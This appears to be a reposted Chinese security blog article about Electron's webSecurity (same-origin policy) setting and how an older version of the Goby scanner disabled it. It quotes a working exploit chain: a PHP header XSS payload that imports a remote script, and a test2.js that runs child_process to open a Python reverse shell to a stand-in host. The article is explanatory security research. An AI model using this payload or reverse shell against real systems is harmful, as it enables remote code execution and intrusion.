webSecurity | Electron 安全

admin 2024年4月22日01:55:14评论2 views字数 1162阅读3分52秒阅读模式

0x01 简介

https://www.electronjs.org/zh/docs/latest/tutorial/security#6-%E4%B8%8D%E8%A6%81%E7%A6%81%E7%94%A8-websecurity

大家好,今天跟大家讨论的是 Electron 的安全配置选项 —— webSecurity

这在之前的文章 《Electron安全与你我息息相关》 中就已经提到过了,该选项的意义是开启同源策略,是 Electron 的默认值,即默认即开启同源策略

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

之前我们在讨论 Goby 的漏洞时,我们发现,利用的 Payload如下

<?php
header("X-Powered-By: PHP/<img  src="x"       onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");
?>

test2.js

(function(){
require('child_process').exec('open /System/Applications/Calculator.app');
require('child_process').exec('python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'');
})();

https://mp.weixin.qq.com/s/EPQZs5eQ4LL--tao93cUfQ

在这里我们注意到放置 Payload 的地方在外部的 JavaScript  文件,虽然上面写的是 127.0.0.1 ,实际是想说我们恶意服务器上的 JavaScript

正常来说,这种利用是不会成功的,因为有同源策略的限制,但是后来我们发现老版本的 Goby 显式地将 webSecurity 设置为了 false ,不然利用的话还会再难一些

我们公众号开启了留言功能,欢迎大家留言讨论~

这篇文章也提供了 PDF 版本及 Github ,见文末

  • 0x01 简介

  • 0x02 安全效果测试

    • 1. 本地加载测试同源策略

    • 2. 远程加载测试同源策略

  • 0x03 总结

  • 0x04 PDF版 & Github

  • 原文始发于微信公众号(NOP Team):webSecurity | Electron 安全

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日01:55:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   webSecurity | Electron 安全http://cn-sec.com/archives/2676343.html

发表评论

匿名网友 填写信息